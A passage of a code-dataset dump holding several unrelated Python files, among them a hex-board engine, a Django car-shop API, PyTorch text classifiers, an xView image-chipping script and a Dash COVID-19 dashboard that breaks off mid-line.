y, vertex_dirs[1]))\n\n edge_tuples = filter(\n lambda edge_tuple: edge_tuple[2] != edge_dir,\n edge_tuples\n )\n\n return edge_tuples\n\n def get_adjacent_edges_for_edge(self, x, y, edge_dir):\n\n edge_tuples = self._get_adjacent_edges_for_edge(x, y, edge_dir)\n edge_vals = []\n\n for ex, ey, e_dir in edge_tuples:\n tile = self.get_tile_with_coords(ex, ey)\n\n if tile:\n edge_vals.append(tile.get_edge(e_dir))\n\n return edge_vals\n\n def _get_adjacent_vertices_for_vertex(self, x, y, vertex_dir):\n\n vertex_tuples = []\n\n tile = self.get_tile_with_coords(x, y)\n\n vertex_dirs = VertexDirection.get_neighboring_vertex_dirs(vertex_dir)\n\n # Two of the closest vertices will lie on this tile\n for adjacent_vertex_dir in vertex_dirs:\n vertex_tuple = (x, y, adjacent_vertex_dir)\n vertex_tuples.append(vertex_tuple)\n\n # The last vertex value won't be available via the current tile's\n # vertices, but must be found on its neighbor.\n\n edge_dirs = EdgeVertexMapping.get_edge_dirs_for_vertex_dir(vertex_dir)\n\n # Pick one edge, arbitrarily, to find the neighbor tile relative to that edge.\n neighbor_edge_dir = edge_dirs[0]\n neighboring_tile = self.get_neighboring_tile(tile, neighbor_edge_dir)\n neighbor_x = tile.x + neighbor_edge_dir[0]\n neighbor_y = tile.y + neighbor_edge_dir[1]\n\n # Find the neighbor equivalent of vertex_dir\n opp_vert_dir = HexTile.get_equivalent_vertex_dir(vertex_dir, neighbor_edge_dir)\n\n # Vertex and edge direction should be relative to same tile\n def vertex_already_found(v_dir, neighbor_edge):\n neighbor_equivalent_v_dir = \\\n HexTile.get_equivalent_vertex_dir(v_dir, neighbor_edge_dir.get_opposite_direction())\n return neighbor_equivalent_v_dir not in map(lambda v_tup: v_tup[2], vertex_tuples)\n\n # Find the vertices adjacent to neighbors equivalent of vertex_dir.\n # One will duplicate a vertex we already have, one will be new.\n # Filter out the duplicate.\n last_vertex_dir = filter(\n lambda v_dir: not vertex_already_found(v_dir, neighbor_edge_dir.get_opposite_direction()),\n VertexDirection.get_neighboring_vertex_dirs(opp_vert_dir)\n )\n\n if len(last_vertex_dir):\n last_vertex_dir = last_vertex_dir[0]\n vertex_tuples.append( (neighbor_x, neighbor_y, last_vertex_dir) )\n\n return vertex_tuples\n\n def get_adjacent_vertices_for_vertex(self, x, y, vertex_dir):\n\n vertex_tuples = self._get_adjacent_vertices_for_vertex(x, y, vertex_dir)\n vertex_vals = []\n\n for vx, vy, v_dir in vertex_tuples:\n tile = self.get_tile_with_coords(vx, vy)\n\n if tile:\n vertex_vals.append(tile.get_vertex(v_dir))\n\n return vertex_vals\n","sub_path":"engine/src/board/hex_board.py","file_name":"hex_board.py","file_ext":"py","file_size_in_byte":17934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"331572306","text":"filenames = [\"program.c\", \"stdio.hpp\", \"sample.hpp\", \"a.out\", \"math.hpp\", \"hpp.out\"]\nnewfilenames=[]\nfor file in filenames:\n\tname,extension=file.split(\".\")\n\tif extension==\"hpp\":\n\t\tx=name+\".\"+\"h\"\n\t\tnewfilenames.append(x)\n\telse:\n\t\tx=name+\".\"+extension\n\t\tnewfilenames.append(x)\n\nprint(newfilenames) \n# Should be [\"program.c\", \"stdio.h\", \"sample.h\", \"a.out\", \"math.h\", \"hpp.out\"]","sub_path":"15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"329896152","text":"import xml.etree.ElementTree as ET\nfrom shutil import copy2\n\nimport sys, os.path\ndatapath = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../..\") + '/OA Data Files')\nsys.path.append(datapath)\n\nimport app_config\n\nimport Base_Manage_Data\nimport GUI_Archtype_Controller\nimport Archtype\n\nclass Manage_archtypes(Base_Manage_Data.Manage_data):\n def save_one(self,item,filename=None,backup_filename=None):\n if type(item) == Archtype.Archtype and not(item.isempty()):\n super().save_one(item,filename,backup_filename)\n else:\n raise ValueError('expected Archtype object, instead got ' + str(type(item)))\n\n def remove_item(self,item):\n if type(item) == Archtype.Archtype and not(item.isempty()):\n super().remove_item(item)\n else:\n raise ValueError('expected Archtype object, instead got ' + str(type(item)))\n\n def save_all(self,filename=None,backup_filename=None):\n if not(self.loaded_set == self.current_set):\n data=ET.Element('archtypes')\n for item in self.current_set.all_items:\n arch=ET.SubElement(data,'archtype')\n ET.SubElement(arch,'name').text = item.name\n ET.SubElement(arch,'shortDescription').text = item.short_description\n ET.SubElement(arch,'description').text = item.description\n ET.SubElement(arch,'proficiency').text = item.proficiency\n ET.SubElement(arch,'strBonus').text = item.str_bonus\n ET.SubElement(arch,'perBonus').text = item.per_bonus\n ET.SubElement(arch,'intBonus').text = item.int_bonus\n ET.SubElement(arch,'dexBonus').text = item.dex_bonus\n ET.SubElement(arch,'chaBonus').text = item.cha_bonus\n ET.SubElement(arch,'vitBonus').text = item.vit_bonus\n ET.SubElement(arch,'magBonus').text = item.mag_bonus\n ET.SubElement(arch,'staminaBonus').text = item.stamina_bonus\n ET.SubElement(arch,'attackBonus').text = item.attack_bonus\n ET.SubElement(arch,'reflexBonus').text = item.reflex_bonus\n ET.SubElement(arch,'feats').text = item.feats\n ET.SubElement(arch,'movement').text = item.movement\n ET.SubElement(arch,'skillPoints').text = item.skill_points\n ET.SubElement(arch,'levelHealth').text = item.level_health\n if filename == None:\n filename = app_config.file_path + app_config.archtype_filename\n if backup_filename == None:\n backup_filename = app_config.backup_file_path + app_config.backup_archtype_filename\n try:\n copy2(filename,backup_filename)\n except:\n pass\n f = open(filename,'w')\n f.write(ET.tostring(data, encoding=\"unicode\"))\n f.close()\n\n def set_controller(self):\n self.edit_controller = GUI_Archtype_Controller.GUI_archtype_controller(self.parent)\n super().set_controller()\n\n def launch_edit(self,name,parent=None):\n self.edit_controller.create_form(parent)\n self.edit_controller.load_data(self.current_set.get_item(name),self.save_one,self.close_edit_item)\n \n def load_set(self,filename=None):\n self.current_set = Archtype.Archtypes()\n if filename == None:\n filename = app_config.file_path + app_config.archtype_filename\n tree = ET.parse(filename)\n data_root = tree.getroot()\n for archtype in data_root:\n name = archtype.find('name').text or 'UNKNOWN'\n short_descrp = archtype.find('shortDescription').text or ' '\n current_archtype = Archtype.Archtype(name,short_descrp)\n current_archtype.description = archtype.find('description').text or ' '\n current_archtype.proficiency = archtype.find('proficiency').text or ' '\n current_archtype.str_bonus = archtype.find('strBonus').text or 0\n current_archtype.per_bonus = archtype.find('perBonus').text or 0\n current_archtype.int_bonus = archtype.find('intBonus').text or 0\n current_archtype.dex_bonus = archtype.find('dexBonus').text or 0\n current_archtype.cha_bonus = archtype.find('chaBonus').text or 0\n current_archtype.vit_bonus = archtype.find('vitBonus').text or 0\n current_archtype.mag_bonus = archtype.find('magBonus').text or 0\n current_archtype.stamina_bonus = archtype.find('staminaBonus').text or 0\n current_archtype.attack_bonus = archtype.find('attackBonus').text or 0\n current_archtype.reflex_bonus = archtype.find('reflexBonus').text or 0\n current_archtype.feats = archtype.find('feats').text or 0\n current_archtype.movement = archtype.find('movement').text or 0\n current_archtype.skill_points = archtype.find('skillPoints').text or 0\n current_archtype.level_health = archtype.find('levelHealth').text or ' '\n self.current_set.add_new(current_archtype)\n self.loaded_set = self.current_set.clone()\n\n def __init__(self,parent=None):\n self.parent = parent\n self.name = 'Archtypes'\n super().__init__()\n self.set_controller()\n\nif __name__ == '__main__':\n manager = Manage_archtypes()\n manager.load_set()\n manager.launch_list('Archtypes')\n","sub_path":"OA Admin/Archtypes/Manage_Archtypes.py","file_name":"Manage_Archtypes.py","file_ext":"py","file_size_in_byte":5408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"514814283","text":"users = []\n\n\nclass User:\n def __init__(self, username):\n self.username = username\n self.rcv_messages = []\n\n\nclass Message:\n def __init__(self, _content, sender_name):\n self.content = _content\n self.sender = sender_name\n\n\ndef is_user_valid(username):\n return username in [user.username for user in users]\n\n\n_input = input()\n\nwhile not _input == 'exit':\n _input = _input.split()\n if _input[0] == 'register':\n if not is_user_valid(_input[1]):\n user = User(_input[1])\n users.append(user)\n else:\n sender = _input[0]\n receiver_name = _input[2]\n content = _input[3]\n if not (is_user_valid(sender) and is_user_valid(receiver_name)):\n _input = input()\n continue\n else:\n message = Message(content, sender)\n user = [user for user in users if user.username == receiver_name][0]\n user.rcv_messages.append(message)\n _input = input()\n\n_input = input().split()\nusername1 = _input[0]\nusername2 = _input[1]\nuser1 = [user for user in users if user.username == username1][0]\nuser2 = [user for user in users if user.username == username2][0]\nuser1_messages = [message.content for message in user1.rcv_messages if message.sender == username2]\nuser2_messages = [message.content for message in user2.rcv_messages if message.sender == username1]\nuser2_messages = list(map(lambda msg: username1 + ': ' + msg, user2_messages))\nuser1_messages = list(map(lambda msg: msg + ' :' + username2, user1_messages))\nif len(user1_messages) == 0 and len(user2_messages) ==0:\n print('No messages')\nelse:\n n = min(len(user1_messages), len(user2_messages))\n for i in range(n):\n print(user2_messages[i])\n print(user1_messages[i])\n\n if len(user1_messages) > len(user2_messages):\n print('\\n'.join([msg for msg in user1_messages[n:]]))\n else:\n print('\\n'.join([msg for msg in user2_messages[n:]]))\n\n\n\n\n","sub_path":"objects_and_classes/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"161066041","text":"# NAI\n\n'''\nThis script is a utility to convert the original xView dataset to a VOC2007\n like layout. It will create a second xView dataset directory where it \n will store the extracted image chips and annotations.\n'''\n\nimport aug_util as aug\nimport wv_util as wv\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport csv\n\nchip_name = \"1052.tif\"\n\narr = wv.get_image(\"../xView/train_images/\"+chip_name)\n\n#### Load labels for whole dataset\n# - coords.shape = (601937, 4)\n# - chips.shape = (601937,)\n# - classes.shape = (601937,)\n# This makes three flat, index aligned lists, where all of the chips from all images are\n# assembled. If we want all of the info for one chip, we look up the chip name in chips\n# list and use those indexes to access the other lists.\ncoords, chips, classes = wv.get_labels(\"../xView/xView_train.geojson\")\n\n#print coords[0] # = [2712, 1145, 2746, 1177]\n#print chips[0] # = 2355.tif\n#print classes[0] # = 73.0\n\n# Get info specific to our chip\ncoords = coords[chips==chip_name]\nclasses = classes[chips==chip_name].astype(np.int64)\n\nprint(\"# Objects In Image: \",len(classes))\n\n# Create a Class # -> Class Label Map\nlabels = {}\nwith open('xview_class_labels.txt') as f:\n\tfor row in csv.reader(f):\n\t\tlabels[int(row[0].split(\":\")[0])] = row[0].split(\":\")[1]\n\n\n# Print the class names that are in this image\n#print(\"Classes In this Image: \",[labels[i] for i in np.unique(classes)])\n\n#### Chip the image into smaller sized chips\n\"\"\"\n Chip an image and get relative coordinates and classes. Bounding boxes that pass into\n multiple chips are clipped: each portion that is in a chip is labeled. For example,\n half a building will be labeled if it is cut off in a chip. If there are no boxes,\n the boxes array will be [[0,0,0,0]] and classes [0].\n Note: This chip_image method is only tested on xView data-- there are some image manipulations that can mess up different images.\n\n Args:\n img: the image to be chipped in array format\n coords: an (N,4) array of bounding box coordinates for that image\n classes: an (N,1) array of classes for each bounding box\n shape: an (W,H) tuple indicating width and height of chips\n\n Output:\n An image array of shape (M,W,H,C), where M is the number of chips,\n W and H are the dimensions of the image, and C is the number of color\n channels. Also returns boxes and classes dictionaries for each corresponding chip.\n\"\"\"\n# c_img.shape = (M,W,H,C) = (6,1000,1000,3)\n# c_box = dictionary keyed by integer and values is array of arrays. Each individual array\n# is length 4 and is the relative bbox coords for an object. Each individual array\n# is organized as [xmin, ymin, xmax, ymax]\n# i.e. c_box = {\n#\t\t\t\t\t0: array( [[100, 150, 210, 290],\n#\t\t\t\t\t\t\t\t[130, 290, 540, 570],\n#\t\t\t\t\t\t\t\t...\n#\t\t\t\t\t\t\t])\n#\t\t\t\t\t1: array([ [...], [...], ... ])\n#\t\t\t\t\t...\n#\t\t\t\t}\n#\n# c_cls = dictionary keyed by integer and values are arrays of ints which are class labels.\t\t\t\n# i.e. c_cls = {\n#\t\t\t\t\t0: [10, 15, 21, 29, 71, 20]\n#\t\t\t\t\t1: [30, 55, 22, 19, 61, 30]\n#\t\t\t\t\t...\n#\t\t\t\t}\n# The keys of the dictionaries match up with len(c_img). The details for chip\n# c_img[0] are stored in c_box[0] and c_cls[0]. So, len(c_img) == len(c_box) == len(c_cls)\nc_img, c_box, c_cls = wv.chip_image(img=arr, coords=coords, classes=classes, shape=(700,700))\n\n# Augment the data\nind = np.random.choice(range(c_img.shape[0]))\ncenter = (int(c_img[ind].shape[0]/2),int(c_img[ind].shape[1]/2))\n\nfor deg in range(0, 360, 45):\n\trot_im, rot_boxes = aug.rotate_image_and_boxes(c_img[ind], deg, center, c_box[ind])\n\tpim = aug.draw_bboxes(rot_im, rot_boxes)\n\tplt.imshow(pim)\n\tplt.title(\"deg: {}\".format(deg))\n\tplt.show()\n\n\n","sub_path":"create_xView_voc_dataset_understanding.py","file_name":"create_xView_voc_dataset_understanding.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"66228834","text":"from rest_framework import (\n permissions,\n viewsets,\n generics,\n status,\n)\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nimport requests\nfrom django_filters import rest_framework as filters\n\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAdminUser, AllowAny, IsAuthenticated\nfrom rest_framework.parsers import MultiPartParser, FormParser\n\nfrom .models import (\n Model,\n Mark,\n CarcaseType,\n EngineType,\n TransmissionType,\n GerboxType,\n)\n\nfrom .serializer import (\n ModelSerializer,\n MarkSerializer,\n CarcaseTypeSerializer,\n EngineTypeSerializer,\n TransmissionTypeSerializer,\n GerboxTypeSerializer,\n UsersSerializer,\n IsUseModelSerializer,\n NewModelSerializer,\n LoginSerializer,\n)\nfrom django.contrib.auth.models import User\n\nfrom django.contrib.auth.forms import UserCreationForm\n\nclass CarcaseTypeListView(viewsets.ModelViewSet):\n # permission_classes = [IsAdminUser]\n queryset = CarcaseType.objects.all()\n serializer_class = CarcaseTypeSerializer\n\n\n # def get(self, request):\n # queryset = CarcaseType.objects.all()\n # serializer = CarcaseTypeSerializer(queryset, many=True)\n # return Response(serializer.data)\n\nclass TransmissionTypeListView(viewsets.ModelViewSet):\n # permission_classes = [IsAdminUser]\n queryset = TransmissionType.objects.all()\n serializer_class = TransmissionTypeSerializer\n\n # def get(self, request):\n # queryset = TransmissionType.objects.all()\n # serializer = TransmissionTypeSerializer(queryset, many=True)\n # return Response(serializer.data)\n\nclass GerboxTypeListView(viewsets.ModelViewSet):\n # permission_classes = [IsAdminUser]\n queryset = GerboxType.objects.all()\n serializer_class = GerboxTypeSerializer\n # def get(self, request):\n # queryset = GerboxType.objects.all()\n # serializer = GerboxTypeSerializer(queryset, many=True)\n # return Response(serializer.data)\n\nclass EngineTypeListView(viewsets.ModelViewSet):\n # permission_classes = [IsAdminUser]\n queryset = EngineType.objects.all()\n serializer_class = EngineTypeSerializer\n\n # def get(self, request):\n # queryset = EngineType.objects.all()\n # serializer = EngineTypeSerializer(queryset, many=True)\n # return Response(serializer.data)\n\nclass MarkListView(viewsets.ModelViewSet):\n queryset = Mark.objects.all()\n serializer_class = MarkSerializer\n # def get(self, request):\n # queryset = Mark.objects.all()\n # serializer = MarkSerializer(queryset, many=True)\n # return Response(serializer.data)\n\nclass ModelListFilter(filters.FilterSet):\n class Meta:\n model = Model\n fields = {\n 'mark' : ['exact'],\n 'model': ['exact'],\n 'year' : ['gte', 'lte'],\n 'price' : ['gte', 'lte'],\n 'in_use' : ['exact'],\n 'user' : ['exact'],\n 'engine' : ['exact'],\n 'transmission': ['exact'],\n 'gearbox': ['exact'],\n 'carcase': ['exact'],\n }\n\nclass ModelListView(viewsets.ModelViewSet):\n queryset = Model.objects.filter(deleted=False)\n serializer_class = ModelSerializer\n filterset_class = ModelListFilter\n\n def post(self, request, *args, **kwargs):\n print(request.data)\n model = request.data['model']\n image = request.data['image']\n year = request.data['year']\n engine_volume = request.data['engine_volume']\n hp = request.data['hp']\n price = request.data['price']\n mileage = request.data['mileage']\n # in_use = request.data['model']\n description = request.data['model']\n mark = request.data['mark']\n carcase = request.data['carcase']\n engine = request.data['engine']\n gearbox = request.data['gearbox']\n transmission = request.data['transmission']\n user = request.data['user']\n Model.objects.create(\n model=model,\n mark=mark,\n carcase=carcase,\n engine=engine,\n gearbox=gearbox,\n transmission=transmission,\n image=image,\n year=year,\n engine_volume=engine_volume,\n hp=hp,\n price=price,\n mileage=mileage,\n description=description,\n user=user,\n )\n return HttpResponse({'msg':'model created'}, status=200)\n\nclass ModelUploader(APIView):\n # permission_classes = [IsAuthenticated]\n queryset = Model.objects.all()\n parser_classes = [MultiPartParser, FormParser]\n\n def post(self, request, **kwargs):\n print(request.data)\n serializer = ModelSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n else:\n return Response(serializer.data, status=status.HTTP_400_BAD_REQUEST)\n\nclass UserListFilter(filters.FilterSet):\n class Meta:\n model = User\n fields = {\n 'id' : ['exact'],\n 'is_staff' : ['exact'],\n 'is_active' : ['exact'],\n }\n\nclass UsersListView(viewsets.ModelViewSet):\n # permission_classes = [IsAdminUser]\n queryset = User.objects.all()\n serializer_class = UsersSerializer\n filterset_class = UserListFilter\n\nclass IsUseModelListView(viewsets.ModelViewSet):\n queryset = Model.objects.filter(in_use=True, deleted=False)\n serializer_class = IsUseModelSerializer\n # filterset_class = ModelListFilter\n\nclass NewModelListView(viewsets.ModelViewSet):\n queryset = Model.objects.filter(in_use=False, deleted=False)\n serializer_class = NewModelSerializer\n # filterset_class = ModelListFilter\n\nclass UserActivationView(APIView):\n def get(self, request, uid, token):\n protocol = 'https://' if request.is_secure() else 'http://'\n web_url = protocol + request.get_host()\n post_url = web_url + \"/auth/users/activate/\"\n post_data = {'uid': uid, 'token': token}\n result = requests.post(post_url, data = post_data)\n content = result.text()\n return Response(content)\n\n\ndef index(request):\n return render(request, 'index.html', {})\n\n","sub_path":"Shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"518077025","text":"import argparse\nimport torch\nimport torch.nn as nn\nimport numpy as np\n\nfrom torch.utils.data import Dataset\nfrom torch.nn.utils import clip_grad_norm_\nimport json\nimport time\nfrom transformers import BertModel\n\nclass DAN(nn.Module):\n def __init__(self, n_classes, vocab_size, emb_dim = 300, n_hidden_units = 300, device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")):\n super().__init__()\n self.n_classes = n_classes\n self.vocab_size = vocab_size\n self.emb_dim = emb_dim\n self.n_hidden_units = n_hidden_units\n self.classifier = nn.Sequential(\n nn.Linear(self.n_hidden_units, self.n_hidden_units),\n nn.ReLU(),\n nn.Linear(self.n_hidden_units, self.n_classes)\n )\n self.embeddings = nn.Embedding(self.vocab_size, self.emb_dim)\n self._softmax = nn.Softmax(dim=1)\n self.device = device\n \n def getLengthSample(self, sample):\n count = 0\n for w in sample:\n if w == 0:\n break\n count += 1\n return count\n\n # text = tensor of size batch x seq_length\n def forward(self, text):\n # text_embeddings = list of word embedding vecs\n text_embed = self.embeddings(text)\n\n # Get list that excludes padding token\n lenList = []\n for sample in text:\n lenList.append(self.getLengthSample(sample))\n lenList = np.array(lenList)\n lenList.shape = (len(text),1)\n if str(self.device) == \"cuda\":\n lenList = torch.from_numpy(lenList).float().cuda()\n # Sum over all vectors in text, take average\n encoded = text_embed.sum(dim=1).cuda()\n encoded /= lenList\n\n # Pass into 2 hidden linear layers, and take softmax\n logits = self.classifier(encoded)\n return logits\n \n lenList = torch.from_numpy(lenList).float()\n # Sum over all vectors in text, take average\n encoded = text_embed.sum(dim=1)\n encoded /= lenList\n\n # Pass into 2 hidden linear layers, and take softmax\n logits = self.classifier(encoded)\n return logits\n\nclass CNN(nn.Module):\n def __init__(self, n_classes, vocab_size, emb_dim = 300, n_hidden_units = 300, n_filters = 100, filter_sizes = [3,4,5],\\\n\t\t dropout = .5, device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")):\n super().__init__()\n self.n_classes = n_classes\n self.vocab_size = vocab_size\n self.emb_dim = emb_dim\n self.n_hidden_units = n_hidden_units\n self.conv_0 = nn.Conv2d(in_channels = 1, \n out_channels = n_filters, \n kernel_size = (filter_sizes[0], emb_dim))\n \n self.conv_1 = nn.Conv2d(in_channels = 1, \n out_channels = n_filters, \n kernel_size = (filter_sizes[1], emb_dim))\n \n self.conv_2 = nn.Conv2d(in_channels = 1, \n out_channels = n_filters, \n kernel_size = (filter_sizes[2], emb_dim))\n self.embeddings = nn.Embedding(self.vocab_size, self.emb_dim)\n self.dropout = nn.Dropout(dropout)\n self.fc = nn.Linear(len(filter_sizes) * n_filters, n_classes)\n self.init_weights()\n\n def init_weights(self):\n initrange = 0.5\n self.embeddings.weight.data.uniform_(-initrange, initrange)\n self.conv_0.weight.data.uniform_(-initrange, initrange)\n self.conv_0.bias.data.zero_()\n self.conv_1.weight.data.uniform_(-initrange, initrange)\n self.conv_1.bias.data.zero_()\n self.conv_2.weight.data.uniform_(-initrange, initrange)\n self.conv_2.bias.data.zero_()\n \n def forward(self,text):\n #text = [batch size, sent len]\n embedded = self.embeddings(text)\n #embedded = [batch size, sent len, emb dim]\n \n embedded = embedded.unsqueeze(1)\n \n #embedded = [batch size, 1, sent len, emb dim]\n \n conved_0 = nn.functional.relu(self.conv_0(embedded).squeeze(3))\n conved_1 = nn.functional.relu(self.conv_1(embedded).squeeze(3))\n conved_2 = nn.functional.relu(self.conv_2(embedded).squeeze(3))\n \n #conved_n = [batch size, n_filters, sent len - filter_sizes[n] + 1]\n \n pooled_0 = nn.functional.max_pool1d(conved_0, conved_0.shape[2]).squeeze(2)\n pooled_1 = nn.functional.max_pool1d(conved_1, conved_1.shape[2]).squeeze(2)\n pooled_2 = nn.functional.max_pool1d(conved_2, conved_2.shape[2]).squeeze(2)\n \n #pooled_n = [batch size, n_filters]\n \n cat = self.dropout(torch.cat((pooled_0, pooled_1, pooled_2), dim = 1))\n\n #cat = [batch size, n_filters * len(filter_sizes)]\n \n return self.fc(cat)\n\nclass BertMLP(nn.Module):\n def __init__(self, n_classes, args=None):\n super().__init__()\n self.bert = BertModel.from_pretrained(\n 'bert-base-uncased',\n )\n self.fc = nn.Linear(768, n_classes)\n\n def forward(self, x):\n # input: [B, T]\n attention_mask = (x != 0).float()\n rep, _, = self.bert(\n x,\n attention_mask=attention_mask,\n )\n cls_rep = rep[:, 0, :] # [B, T, H]\n logits = self.fc(cls_rep)\n return logits\n","sub_path":"code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"394056373","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport numpy as np\nimport math\nimport pandas as pd\nimport plotly.express as px\nfrom dash.dependencies import Output\nimport time\nfrom datetime import datetime\n\n\n\napp = dash.Dash()\nserver = app.server\n\n#read in saved data and merge\n#import data from CSSE\nconfirmed = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_global.csv')\nrecovered = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_recovered_global.csv')\ndeaths = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_deaths_global.csv')\n\n\n#combine\nconfirmed['type']='Confirmed Cases'\nrecovered['type']='Recoveries'\ndeaths['type']='Deaths'\ndf= confirmed.append(recovered)\ndf=df.append(deaths)\ndf['Province/State']=df['Province/State'].fillna('N.A.')\n\n#reformat for graphing\ndf= df.set_index(['Province/State','Country/Region','Lat','Long','type'])\ndf=df.stack()\ndf=df.reset_index()\ndf.columns=['City','Country','Lat','Long','type','date','value']\ndf['date']=pd.to_datetime(df['date'],infer_datetime_format=True)\ndf=pd.pivot_table(df, index=['City','Country','Long','Lat','date'],columns='type',values='value')\ndf['Currently Ill'] = df['Confirmed Cases'] - df['Deaths']-df['Recoveries']\ndf=df.stack()\ndf=df.reset_index()\ndf.columns=['City','Country','Long','Lat','date','type','value']\n\nconf_date=df[df['type']=='Confirmed Cases']['date'].max()\nreco_date=df[df['type']=='Recoveries']['date'].max()\ndeat_date=df[df['type']=='Deaths']['date'].max()\ncurill_date=min(conf_date,reco_date,deat_date)\n\n#read in countries from own csv\ncountries = pd.read_csv('https://raw.githubusercontent.com/nmrittweger/covid-19/master/countrycodes.csv')\n#merge pop into countreis\npop=pd.read_csv('https://raw.githubusercontent.com/nmrittweger/covid-19/master/population_adjusted.csv')\ncountries=pd.merge(countries,pop, how='left',left_on='alpha-3',right_on='Country Code')\n\ndf=pd.merge(df, countries, how='left', on='Country')\ndf['region']=df['region'].fillna('Other Countries or Regions')\n\ndf['date']=pd.to_datetime(df['date'])\n\n\n#testing and development below ###########################################################\n#nothing to test\n#############################################################################################\n\n#lists for use in dropdowns\ncountry_list = countries['C_Clean'].unique()\ncountry_list=country_list.tolist()\ncountry_list.sort()\n\ntype_list= df['type'].unique()\ntype_list=type_list.tolist()\n\ndate_list=df['date'].drop_duplicates()\ndate_list=pd.DataFrame(date_list)\n\nregion_list=df['region'].unique()\nregion_list=region_list.tolist()\nregion_list.sort()\n\n#create region/country dictionary for dynamic dropdown menus\ndfr=df[['region','Country']].drop_duplicates()\nregionDict= {k: g.iloc[:,-1].values.tolist()\n for k, g in dfr.groupby('region')}\nregions = list(regionDict.keys())\n\n\n#create the marks for the date slider\ndaterange=df['date'].drop_duplicates()\ndef unixTimeMillis(dt):\n ''' Convert datetime to unix timestamp '''\n return int(time.mktime(dt.timetuple()))\n\n#def unixToDatetime(unix):\n# ''' Convert unix timestamp to datetime. '''\n# return pd.to_datetime(unix,unit='s')\n\ndef getMarks(start, end, Nth):\n ''' Returns the marks for labeling. \n Every Nth value will be used.\n '''\n result = {}\n for i, date in enumerate(daterange):\n if(i%Nth == 1):\n # Append value to dict\n result[unixTimeMillis(date)] = str(date.strftime('%m-%d'))\n #append max and min date\n result[unixTimeMillis(start)] = str(start.strftime('%m-%d'))\n result[unixTimeMillis(end)] = str(end.strftime('%m-%d'))\n return result\n\nnumber_of_marks=math.ceil(len(daterange)/25) #show no more than 25 date marks\nmarks=getMarks(daterange.min(),daterange.max(),number_of_marks)\n\nchangetypes=['Swiss Quarantine Threshold (<60)','Number of Cases','Cases per 1 mio inhabitants', 'Growth: Daily New Cases','Growth : New Cases per 1 mio inhabitants',\n 'Growth: Daily Percentage Change','Growth: Days for Cases to Double']\n\n\n\n#LAYOUT**************************************************************************************************\napp.layout = html.Div(dcc.Tabs(id=\"tabs\", children=[\n dcc.Tab(label='Timeline', children=[\n html.H3('Latest available information as of:'),\n html.H5(' Confirmed Cases: ' + conf_date.strftime('%Y-%m-%d') +', Recoveries: ' + reco_date.strftime('%Y-%m-%d') + ', Deaths: ' + deat_date.strftime('%Y-%m-%d') + ', Currently Ill: ' + curill_date.strftime('%Y-%m-%d')),\n html.H4('Select region or country for a timeline of confirmed, recovered and terminal cases'),\n dcc.Dropdown(\n id='region-dropdown',\n options=[{'label':region, 'value':region} for region in regions],\n value = list(regionDict.keys()),\n multi=True,\n style=dict(width='450px')\n ),\n dcc.Dropdown(\n id='country-dropdown',\n multi=True\n ),\n dcc.Graph(id='timeline_view'),\n dcc.Dropdown(id='timeline_type', options = [{'label':t, 'value':t} for t in type_list],value='Confirmed Cases',multi=False, style=dict(width='400px') ),\n dcc.Graph(id='timeline_country_bar'),\n dcc.Dropdown(id='change_type', options = [dict(label=i,value=i) for i in changetypes ],value=changetypes[3],multi=False, style=dict(width='400px') ),\n dcc.Dropdown(id='change_periods', options = [{'label':'Latest Number','value': 1},\n {'label':'3 Day Avg','value':3},\n {'label':'Weekly Avg','value':7},\n {'label':'14 Day Avg','value':14}],value=7,multi=False, style=dict(width='400px') ),\n dcc.Graph(id='change_over_time'),\n ]),\n dcc.Tab(label='Global View', children=[\n html.H4(''),\n html.Div(children=[\n html.Div(children=[html.Label('Regions to INCLUDE'),\n dcc.Dropdown(id='g_region', options=[dict(label=i,value=i) for i in region_list ],value=region_list, multi=True, style=dict(width='450px') )],\n style=dict(display='inline-block',width='50%', verticalAlign=\"left\",padding=10)),\n html.Div(children=[html.Label('Countries to EXCLUDE'),\n dcc.Dropdown(id='excludedCountries', options=[dict(label=i,value=i) for i in country_list ],value=[], multi=True, style=dict(width='450px') )],\n style=dict(display='inline-block',width='45%', verticalAlign=\"left\",padding=10)),\n html.Div(children=[\n html.Div(children=[html.Label('Metric'),dcc.Dropdown(id='changetype', options=[dict(label=i,value=i) for i in changetypes ],value=changetypes[2], style=dict(width='450px'))],\n style=dict(display='inline-block',width='20%', verticalAlign=\"left\",)),\n html.Div(children=[html.Label('Type of Cases'),dcc.Dropdown(id='g_type', options=[dict(label=i,value=i) for i in type_list ],value='Confirmed Cases', style=dict(width='450px'))],\n style=dict(display='inline-block',width='20%', verticalAlign=\"left\",)),\n html.Div(children=[html.Label('Average'),dcc.Dropdown(id='no_of_periods', options=[{'label':'Latest Number','value': 1},\n {'label':'3 Day 